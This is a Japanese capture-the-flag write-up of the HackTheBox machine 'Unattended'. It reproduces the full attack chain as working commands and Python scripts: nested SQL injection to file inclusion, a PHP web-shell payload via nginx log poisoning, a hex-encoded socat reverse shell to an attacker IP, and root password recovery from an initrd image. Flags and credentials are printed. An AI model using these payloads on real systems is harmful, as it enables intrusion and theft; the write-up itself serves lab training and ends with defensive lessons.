HackTheBox: Unattended — 全実行コマンド・実行結果レポート
Nmap スキャン
80(→443)/443, vhost発見
→
80(→443)/443, vhost発見
ネストSQLi → LFI
/etc/passwd 読取り成功
→
/etc/passwd 読取り成功
ソース開示でDB資格情報
/dev../html/index.php
→
/dev../html/index.php
access.log ポイズニング
既に破損 → 不可
→
既に破損 → 不可
error.log フォールバックRCE
www-data
→
www-data
config.checkrelease 書換え
socat → guly シェル (user.txt)
→
socat → guly シェル (user.txt)
initrd.img (grubグループ)
uinitrdでrootパスワード復元
→
uinitrdでrootパスワード復元
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.74.126 nmap -sV -sC -p 80,443 10.129.74.126
RESULT
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.10.3 |_http-title: Did not follow redirect to https://www.nestedflanders.htb 443/tcp open ssl/http nginx 1.10.3 | ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd |_http-title: Apache2 Debian Default Page: It works
🚨
重要発見: nginxのレスポンスヘッダなのにタイトルが「Apache2 Debian Default Page」—
nginxがバックエンドの Apache (127.0.0.1:8080) にリバースプロキシしている構成。
証明書CNから仮想ホスト
www.nestedflanders.htb が判明し、HTTPはHTTPSへ
リダイレクトされるため、以降はHTTPSとこのvHostを使う。
hosts登録と疎通確認
BASH
echo "10.129.74.126 www.nestedflanders.htb" >> /etc/hosts curl -skI https://www.nestedflanders.htb/ curl -sk https://www.nestedflanders.htb/index.php?id=465
RESULT
HTTP/1.1 200 OK Server: nginx/1.10.3 <h1>Ne(ste)d Flanders' Portfolio</h1> <a href="index.php?id=25">main</a> <a href="index.php?id=465">about</a> <a href="index.php?id=587">contact</a> Hello visitor, our Company is world wide leading expert about Nesting stuff.
ℹ️
id パラメータ(有効値 25/465/587)で main/about/contact の3ページを切り替える
単純なPHPアプリ。SQLクエリへ直接使われていることが推測できる。
PHASE 2
ネストSQLインジェクション → LFI → ソースコード開示
境界値テストでSQLiを確認
BASH
curl -sk -G "https://www.nestedflanders.htb/index.php" \
--data-urlencode "id=465' AND '1'='1" -w "size:%{size_download}\n" -o /dev/null
curl -sk -G "https://www.nestedflanders.htb/index.php" \
--data-urlencode "id=465' AND '1'='2" -w "size:%{size_download}\n" -o /dev/null
RESULT
真(1=1): size:1227 ← 通常の about ページ 偽(1=2): size:1244 ← "offline" 風の代替ページ (異なる内容)
✅
真偽でレスポンスサイズが変わるため、
id がシングルクォート区切りの文字列
コンテキストでSQLインジェクション可能と判断できる。
UNION SELECT でカラム数を特定
BASH
for n in 1 2 3; do
cols=$(seq -s, 1 $n)
curl -sk -G "https://www.nestedflanders.htb/index.php" \
--data-urlencode "id=465' UNION SELECT $cols-- -" -w "n=$n size:%{size_download}\n" -o /dev/null
done
RESULT
n=1 size:890 ← 構文的に成立 (本文が空 = カラム数一致) n=2 size:1244 ← カラム数不一致エラー相当 n=3 size:1244
ℹ️
元のクエリは1カラムのSELECT(
SELECT name FROM idname WHERE id='$id')
と判明。
アプリソースコードの開示(意図しないパストラバーサル)
BASH
curl -sk "https://www.nestedflanders.htb/dev../html/index.php"
RESULT
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
...
function getTplFromID($conn) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
...
}
function getPathFromTpl($conn,$tpl) {
$sql = "SELECT path from filepath where name = '".$tpl."'";
...
}
$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
...
include("$inc");
✅
DB資格情報取得 (RCE不要)。
nestedflanders:1036913cf7d38d4ea4f79b050f171e9fbf3f5e
(DB名 neddy、localhost 限定)。ソースから2段階クエリ+
include("$inc") という構造も確定した。
ネストしたUNIONで任意ファイルをLFI読取り
NOTE
$tpl (= 第1クエリの戻り値) を "x' UNION SELECT '<読みたいパス>" という 文字列に差し替えると、第2クエリ "...WHERE name='$tpl'" のクォートが ブレイクし、UNION SELECT '<path>' がそのまま $inc として返る (coderwall.com の "nested sql injections" に由来するテクニック)。
PYTHON
import subprocess, re
def lfi(path):
payload = "x' UNION SELECT '" + path
hexp = payload.encode().hex()
out = subprocess.check_output([
'curl', '-sk', '-G', 'https://www.nestedflanders.htb/index.php',
'--data-urlencode', f"id=465' UNION SELECT 0x{hexp}-- -"
], text=True)
m = re.search(r'<!-- <div align="center"> -->\s*(.*?)\s*<!-- </div> -->', out, re.S)
return m.group(1) if m else ""
print(lfi('/etc/passwd'))
RESULT
root:x:0:0:root:/root:/bin/bash ... www-data:x:33:33:www-data:/var/www:/bin/bash ... guly:x:1000:1000:guly,,,:/home/guly:/bin/bash mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false
⚠️
このLFIは
include() 経由のため、PHPタグを含むファイルを読ませると
そのまま実行される(ログポイズニングRCEの前提)。一方で、途中に構文エラーを
招む内容が混ざっているファイルを include() すると、PHPはファイル全体を
1つのプログラムとしてコンパイルする都合上何も実行されず即500になる
(Phase 3で詳述)。
PHASE 3
ログポイズニングRCEの確立 — access.log破損からerror.logフォールバックへ
標準的な経路: nginx access.log ポイズニング
NOTE
標準的な手順は以下の通り:
1. User-Agent ヘッダに <?php ... ?> を仕込んで送信
→ nginx の /var/log/nginx/access.log (www-data可読) にそのまま記録される
2. Phase 2のLFIで access.log 自体を include() させ、埋め込んだコードを発火させる
BASH
curl -sk -A "<?php system(\$_GET['c']); ?>" "https://www.nestedflanders.htb/index.php?id=465" curl -sk -G "https://www.nestedflanders.htb/index.php" \ --data-urlencode "id=465' UNION SELECT 0x782720554e494f4e2053454c45435420272f7661722f6c6f672f6e67696e782f6163636573732e6c6f67-- -" \ --data-urlencode "c=id"
RESULT (本番 10.129.74.126 での実際のレスポンス)
HTTP:500 size:809 time:約1秒 (ペイロード内容やリトライ回数によらず常に同じ)
🚨
access.log は既に恒久的に破損していた。 既知サイズのファイル
(約215KBのCA証明書バンドル等)を同じ
include() 経路で読ませると、
サイズに比例した時間(実測: 約5〜8KB/秒)で正常に完了する。一方 access.log だけは
サイズに関係なく常に約1秒で500になる — これはファイルの先頭付近に
既に構文エラーを招む内容(閉じていない<?タグ、または二重引用符を含む
PHP文字列リテラルがnginxのログ出力時エスケープで破壊されたもの)が混入しており、
PHPがファイル全体をコンパイルする段階で即座に失敗していることを意味する。access.logは
追記専用・daily ローテーションのみのため、同一インスタンス内では修復不可能。
原因は本調査のPhase 1で実行した自動偵察(nmap/gobuster等)の大量リクエストの中に、
たまたまPHPタグに類似した不正な文字列が含まれていた可能性が高い。
フォールバック: nginx error.log ポイズニング
NOTE
nginx はバックエンドへプロキシする前に、まず自分自身のドキュメントルート (/var/www/nginx/) への直接ファイルオープンを試みる既知スキャナ向けパス (robots.txt、favicon.ico、.git/HEAD 等)をいくつか持っている。これらは open() 失敗時に「生のリクエストパスを含めて」/var/log/nginx/error.log に 記録される。 ポイント: vHost名 (www.nestedflanders.htb) 宛てだとアプリ側の404ハンドラ (Apache)に流れてしまい記録されないが、ターゲットの"裸のIPアドレス"宛てに リクエストすると nginx の default server (catch-all) がヒットし、ローカル ファイルオープンを試みて error.log に記録される。gobusterの大量404は vHost名宛てのため access.log 側に積もるのに対し、error.log はこの "IP直打ち" 経路でしか汚れないため小さく保たれやすい。
PYTHON
import subprocess, urllib.parse, uuid, re
TARGET = '10.129.74.126'
V = 'www.nestedflanders.htb'
MARK = 'CMD' + uuid.uuid4().hex[:6]
# IP直打ちで、存在しないPHPタグ付きパスをリクエスト → error.logに生記録させる
php = f"<?php echo '{MARK}START'; system($_GET['c']); echo '{MARK}END'; ?>"
subprocess.run(['curl', '-sk', f'https://{TARGET}/' + urllib.parse.quote(php, safe='')])
# LFIで error.log を include し、現在のリクエストの GET c= パラメータを使わせる
payload = "x' UNION SELECT '/var/log/nginx/error.log"
hexp = payload.encode().hex()
out = subprocess.check_output([
'curl', '-sk', '-G', f'https://{V}/index.php',
'--data-urlencode', f"id=465' UNION SELECT 0x{hexp}-- -",
'--data-urlencode', 'c=id'
], text=True)
print(re.search(MARK + 'START(.*?)' + MARK + 'END', out, re.S).group(1))
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE確立(www-data)。 ファイル設置なしに、error.logを「常駐Webシェル」
のように使い続けられる(以降は同じ2リクエストの組み合わせ — 「IP直打ちでコード+マーカー
を記録」→「LFI経由でerror.logをincludeしつつc=<実行したいコマンド>を渡す」—
だけで任意コマンドを実行できる)。
PHASE 4
config.checkrelease 書換え → guly リバースシェル → user.txt
www-data から guly への権限移譲ポイントの発見
BASH (RCE経由)
mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e neddy \ -e "select id,option_name,option_value from config where id=86;"
RESULT
86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl;
ℹ️
nestedflanders DBユーザーは neddy.config にUPDATE権限
を持つ(GRANT SELECT, INSERT, UPDATE ON neddy.*)。checkrelease
は guly 所有の cron/監視プロセスが定期的に読み込み実行していると推測できるため、
ここをリバースシェルコマンドへ差し替える。
socatでgulyシェルを取得
LOCAL (Kali)
# 重要: ターゲットの iptables は outbound を 80/443 のみに制限しているため、 # Kali側のリスナーも 443 で待ち受けないと接続を受けられない sudo nc -lvnp 443
SQL (RCE経由で実行)
-- 値に単一引用符/カンマなどSQL・シェル双方で特殊な文字を含むため、 -- SQLの0x16進数リテラルで渡してクォート崩れを完全に回避する UPDATE config SET option_value = 0x736f63617420657865633a2762617368202d6c69272c7074792c7374646572722c7365747369642c736967696e742c73616e65207463703a31302e31302e31352e3230303a343433 WHERE id=86; -- ↑ デコードすると: -- socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<kali_ip>:443
⚠️
実行コマンド文字列自体の引用符にも注意。
mysql -u ... -e "SQL文" を system() 越しに1回だけシェル解釈
させる場合、-e の引数はプレーンな二重引用符で囲むだけで十分
(バックスラッシュでエスケープした \"..\" を使うと、シェルがそれを
「リテラルな引用符1文字」と誤解釈し、引数がクォートで囲われず分割されてしまい、
mysqlが使用方法(ヘルプ)を表示するだけでUPDATEが一切実行されないという
非常に紛らわしい失敗になる。エラーも出ないため、UPDATE後は必ず
SELECT option_value FROM config WHERE id=86 で実際に値が変わったか
確認するとよい)。
RESULT
connect to [10.10.15.200] from (UNKNOWN) [10.129.74.126]
guly@unattended:~$ whoami
guly
guly@unattended:~$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)
✅
guly の cron/監視プロセスが更新後の
checkrelease を実行したタイミングで
guly 権限のリバースシェルが確立する(数分以内に着信する)。
user.txt 取得
GULY SHELL
cat /home/guly/user.txt
user.txt — guly
fe40878b646cb2276dbc953564bfaeaa
PHASE 5
initrd.img (grubグループ) → uinitrd → root パスワード → root.txt
非標準グループ grub の確認
GULY SHELL
ls -l /boot/initrd.img-*
RESULT
-rw-r----- 1 root grub 24974028 Dec 8 2023 /boot/initrd.img-4.19.0-25-amd64 -rw-r----- 1 root grub 19820734 Dec 1 2023 /boot/initrd.img-4.9.0-13-amd64 -rw-r----- 1 root grub 19781354 Dec 1 2023 /boot/initrd.img-4.9.0-8-amd64
🚨
grub という通常のUnix環境には存在しない非標準グループに guly が所属しており、
initrdイメージ(起動時にカーネルが読み込む一時rootファイルシステム)を読み取れる。
initrd を guly のホーム配下へ展開
GULY SHELL
cd /home/guly rm -rf .unat_i; mkdir .unat_i; cd .unat_i cp /boot/initrd.img-4.9.0-8-amd64 initrd.img.gz gunzip -f initrd.img.gz cpio -id -F initrd.img 2>/tmp/.cpio_err grep -A3 -B2 guly ./scripts/local-top/cryptroot
RESULT
# guly: we have to deal with lukfs password sync when root changes her one /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen
⚠️
/tmp は noexec でマウントされている。 最初 /tmp 配下に
展開して uinitrd を実行しようとすると、実行ビットの有無に関わらず
Permission denied になる。展開先は必ず /home/guly 配下
(noexecでない)を使うこと。
uinitrdを実行してrootパスワードを復元
NOTE
本体の /sbin/uinitrd には guly の実行権限が無いが、initrdを展開して 得られた コピー (./sbin/uinitrd) には実行権限が付与されている。 cryptroot スクリプトが参照していたのと同じ固定シード文字列 "c0m3s3f0ss34nt4n1" を渡して呼び出すと、root パスワードが決定論的に 出力される(起動時のcryptsetupパスワード同期ロジックを悪用)。
GULY SHELL
./sbin/uinitrd c0m3s3f0ss34nt4n1
RESULT
132f93ab100671dcb263acaf5dc95d8260e8b7c6
su → root.txt 取得
GULY SHELL
su -c 'cat /root/root.txt' Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6
RESULT
root
035d44bbe4d61dcab1b61f07cbb152de
✅
root化成功。 使用後は
checkrelease を元の値
(/home/guly/checkbase.pl;/home/guly/checkplugins.pl;)に復元し、
システムへの変更を後片付けした。
root.txt — root
035d44bbe4d61dcab1b61f07cbb152de
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — guly
fe40878b646cb2276dbc953564bfaeaa
root.txt — root
035d44bbe4d61dcab1b61f07cbb152de
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| ネストSQLインジェクション | index.php?id= (MySQL/MariaDB) | 任意ファイル読取り (LFI) | Critical | 第1クエリの結果を第2クエリを破壊する文字列に差替え、includeパスを完全制御 |
| パストラバーサル的ソース開示 | /dev../html/index.php | DB資格情報の漏洩 | High | 意図しないURLパターンでPHPソースがそのまま返る |
| ログポイズニングRCE | nginx error.log + LFI include() | www-data権限でのリモートコード実行 | Critical | IP直打ちで存在しないPHPタグ付きパスをリクエストしerror.logへ記録→LFIで発火 |
| DB権限によるcron/監視プロセスの乗っ取り | config.checkrelease | www-data → guly への権限昇格 | High | DBのUPDATE権限だけでguly所有プロセスの実行内容を書き換え |
| initrdイメージの機密情報漏洩 | /boot/initrd.img-* (grubグループ) | root パスワードの復元 | High | 展開後のuinitrdバイナリが固定シードからrootパスワードを決定論的に出力 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + 証明書CNからvHost発見 | 80(→443)/443、www.nestedflanders.htb |
| 2 | SQLi/LFI | ネストSQLi + パストラバーサル的ソース開示 | /etc/passwd読取り、DB資格情報 |
| 3 | RCE確立 | nginx error.logポイズニング(access.log破損のfallback) | www-data コマンド実行 |
| 4 | 権限移譲 | config.checkrelease書換え + socat | user.txt(guly) |
| 5 | 権限昇格 | initrd.img展開 + uinitrd決定論的パスワード復元 | root.txt |
ハマりどころ一覧(実機検証で踏んだ罠)
| 罠 | 症状 | 対処 |
|---|---|---|
| access.logが既に破損 | include()が常に約1秒で即500、サイズ非依存 | error.logへのfallback(IP直打ち+存在しないPHPタグ付きパス)に切替え |
| egressフィルタ(iptables) | 任意ポートへのリバースシェルが着信しない | 許可されている80/443宛てにする(Kali側リスナーも443で待受) |
| system()越しのコマンドの二重エスケープ | mysql -e \"SQL\"がヘルプ表示だけで終わりUPDATEが無反応 |
1階層のシェル解釈にはバックスラッシュ不要、プレーンな"SQL"か0x16進リテラルを使う |
/tmpがnoexec |
展開したuinitrdがPermission denied |
展開先を/home/guly配下に変更 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SQLクエリへのユーザー入力の直接連結(プリペアドステートメント未使用) | すべてのSQLクエリでプリペアドステートメント/パラメータバインディングを使用する。 |
| データベースから取得した値をそのまま include() のパスに使用 | includeパスはホワイトリスト(固定配列)と照合してから使用し、動的な値を直接渡さない。 |
| nginx/アプリのログがWebサーバー実行ユーザーから読み取り可能 | ログファイルのパーミッションをWebサーバー実行ユーザーの読取り不可に設定する (例: root:adm 640、www-dataをadmグループに入れない)。 |
| アプリDBユーザーに過剰なUPDATE権限(実行系カラムを含むテーブルへの書込み可) | アプリ用DBユーザーの権限を必要最小限のカラム/テーブルに絞る。実行系設定値はDBとは 別の、アプリ外からアクセスできない場所で管理する。 |
| initrdイメージに固定シードから復元可能な形でrootパスワード導出ロジックが埋め込まれている | 起動時パスワード同期の仕組みをinitrdに平文/固定シードの形で含めない。TPM等の ハードウェアベースの鍵管理を使用する。 |

